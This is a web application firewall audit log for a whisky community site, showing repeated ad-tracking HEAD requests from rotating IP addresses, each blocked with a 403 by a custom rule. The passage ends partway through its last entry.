HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.155
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--1964bd58-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1964bd58-E--
--1964bd58-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272536776160 9867 (- - -)
Stopwatch2: 1789272536776160 9867; combined=6294, p1=882, p2=5049, p3=80, p4=9, p5=273, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1964bd58-Z--
--6f151b2e-A--
[13/Sep/2026:07:08:57.093663 +0300] aqYh2Uwu1RSkptiiNIXvTAAAAJM 46.203.158.48 59598 127.0.0.1 7081
--6f151b2e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6f151b2e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6f151b2e-E--
--6f151b2e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272537087458 6252 (- - -)
Stopwatch2: 1789272537087458 6252; combined=4599, p1=321, p2=3934, p3=69, p4=6, p5=269, sr=163, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f151b2e-Z--
--a76f523b-A--
[13/Sep/2026:07:08:57.372347 +0300] aqYh2Uwu1RSkptiiNIXvTQAAAI0 91.124.31.252 59602 127.0.0.1 7081
--a76f523b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--a76f523b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a76f523b-E--
--a76f523b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272537364777 7613 (- - -)
Stopwatch2: 1789272537364777 7613; combined=5399, p1=886, p2=4154, p3=79, p4=7, p5=272, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a76f523b-Z--
--2065b47d-A--
[13/Sep/2026:07:09:19.681950 +0300] aqYh72M7dE9KgIIOpQhg7QAAANU 95.134.102.36 51216 127.0.0.1 7081
--2065b47d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--2065b47d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2065b47d-E--
--2065b47d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272559676314 5695 (- - -)
Stopwatch2: 1789272559676314 5695; combined=4279, p1=305, p2=3581, p3=68, p4=6, p5=319, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2065b47d-Z--
--aa383d12-A--
[13/Sep/2026:07:09:20.051024 +0300] aqYh8GM7dE9KgIIOpQhg7gAAANI 151.243.174.45 51228 127.0.0.1 7081
--aa383d12-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--aa383d12-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--aa383d12-E--
--aa383d12-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272560041829 9280 (- - -)
Stopwatch2: 1789272560041829 9280; combined=6957, p1=459, p2=5768, p3=90, p4=10, p5=630, sr=216, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa383d12-Z--
--38b69053-A--
[13/Sep/2026:07:09:20.416752 +0300] aqYh8GM7dE9KgIIOpQhg7wAAANY 151.243.174.114 51242 127.0.0.1 7081
--38b69053-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.114
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--38b69053-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--38b69053-E--
--38b69053-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272560411255 5551 (- - -)
Stopwatch2: 1789272560411255 5551; combined=3993, p1=213, p2=3447, p3=62, p4=7, p5=264, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38b69053-Z--
--a556927e-A--
[13/Sep/2026:07:13:30.333294 +0300] aqYi6mM7dE9KgIIOpQhhAwAAAMc 46.203.158.83 33400 127.0.0.1 7081
--a556927e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a556927e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a556927e-E--
--a556927e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272810323361 9998 (- - -)
Stopwatch2: 1789272810323361 9998; combined=6851, p1=1509, p2=4870, p3=81, p4=8, p5=383, sr=657, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a556927e-Z--
--f7df0865-A--
[13/Sep/2026:07:13:31.188925 +0300] aqYi60wu1RSkptiiNIXvXgAAAJE 46.203.158.51 33404 127.0.0.1 7081
--f7df0865-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f7df0865-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f7df0865-E--
--f7df0865-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272811177672 11315 (- - -)
Stopwatch2: 1789272811177672 11315; combined=7279, p1=785, p2=6057, p3=85, p4=8, p5=344, sr=633, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f7df0865-Z--
--423e2333-A--
[13/Sep/2026:07:13:32.514985 +0300] aqYi7GM7dE9KgIIOpQhhBAAAAM8 91.124.31.226 33416 127.0.0.1 7081
--423e2333-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.226
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--423e2333-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--423e2333-E--
--423e2333-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272812506472 8559 (- - -)
Stopwatch2: 1789272812506472 8559; combined=4502, p1=348, p2=3764, p3=69, p4=8, p5=313, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--423e2333-Z--
--f3fa6f2a-A--
[13/Sep/2026:07:17:13.404286 +0300] aqYjyUwu1RSkptiiNIXvdAAAAJU 151.243.174.22 48480 127.0.0.1 7081
--f3fa6f2a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f3fa6f2a-E--
--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273033397751 6581 (- - -)
Stopwatch2: 1789273033397751 6581; combined=4661, p1=287, p2=3993, p3=81, p4=9, p5=291, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f3fa6f2a-Z--
--1589e272-A--
[13/Sep/2026:07:17:13.828305 +0300] aqYjyUwu1RSkptiiNIXvdQAAAI4 95.134.102.156 48484 127.0.0.1 7081
--1589e272-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1589e272-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1589e272-E--
--1589e272-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273033811658 16709 (- - -)
Stopwatch2: 1789273033811658 16709; combined=7214, p1=1937, p2=4827, p3=141, p4=9, p5=300, sr=248, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1589e272-Z--
--05f94128-A--
[13/Sep/2026:07:17:14.164866 +0300] aqYjymM7dE9KgIIOpQhhKgAAAMg 151.243.174.180 48494 127.0.0.1 7081
--05f94128-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--05f94128-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--05f94128-E--
--05f94128-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273034157447 7461 (- - -)
Stopwatch2: 1789273034157447 7461; combined=5606, p1=366, p2=4814, p3=84, p4=9, p5=333, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--05f94128-Z--
--131ccb0e-A--
[13/Sep/2026:07:17:23.355595 +0300] aqYj02M7dE9KgIIOpQhhLwAAAMQ 95.134.102.242 43394 127.0.0.1 7081
--131ccb0e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--131ccb0e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--131ccb0e-E--
--131ccb0e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273043347841 7837 (- - -)
Stopwatch2: 1789273043347841 7837; combined=5762, p1=314, p2=5019, p3=93, p4=8, p5=328, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--131ccb0e-Z--
--3cfdd83c-A--
[13/Sep/2026:07:17:23.714545 +0300] aqYj02M7dE9KgIIOpQhhMAAAANE 95.134.102.199 43400 127.0.0.1 7081
--3cfdd83c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3cfdd83c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3cfdd83c-E--
--3cfdd83c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273043706564 8091 (- - -)
Stopwatch2: 1789273043706564 8091; combined=6029, p1=309, p2=5275, p3=93, p4=10, p5=342, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3cfdd83c-Z--
--2b5dd765-A--
[13/Sep/2026:07:17:24.082786 +0300] aqYj1GM7dE9KgIIOpQhhMQAAAME 151.243.174.201 43414 127.0.0.1 7081
--2b5dd765-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2b5dd765-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2b5dd765-E--
--2b5dd765-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273044069432 13473 (- - -)
Stopwatch2: 1789273044069432 13473; combined=10062, p1=1600, p2=7585, p3=192, p4=12, p5=672, sr=288, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2b5dd765-Z--
--90019c17-A--
[13/Sep/2026:07:19:47.827600 +0300] aqYkY2M7dE9KgIIOpQhhYQAAAMY 95.134.102.235 35906 127.0.0.1 7081
--90019c17-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--90019c17-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--90019c17-E--
--90019c17-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273187821577 6090 (- - -)
Stopwatch2: 1789273187821577 6090; combined=4417, p1=302, p2=3714, p3=77, p4=8, p5=316, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--90019c17-Z--
--19ff8f4b-A--
[13/Sep/2026:07:19:48.184277 +0300] aqYkZGM7dE9KgIIOpQhhYgAAAM4 95.134.102.121 35916 127.0.0.1 7081
--19ff8f4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--19ff8f4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--19ff8f4b-E--
--19ff8f4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273188176410 7965 (- - -)
Stopwatch2: 1789273188176410 7965; combined=5932, p1=296, p2=5179, p3=136, p4=11, p5=309, sr=141, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19ff8f4b-Z--
--1afe417a-A--
[13/Sep/2026:07:19:48.587598 +0300] aqYkZGM7dE9KgIIOpQhhYwAAAMk 95.134.102.25 35928 127.0.0.1 7081
--1afe417a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1afe417a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1afe417a-E--
--1afe417a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273188576372 11434 (- - -)
Stopwatch2: 1789273188576372 11434; combined=8490, p1=478, p2=7243, p3=153, p4=12, p5=604, sr=249, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1afe417a-Z--
--d77b4d2f-A--
[13/Sep/2026:07:20:38.098431 +0300] aqYklkwu1RSkptiiNIXvmQAAAIo 151.243.174.177 55966 127.0.0.1 7081
--d77b4d2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d77b4d2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d77b4d2f-E--
--d77b4d2f-H--
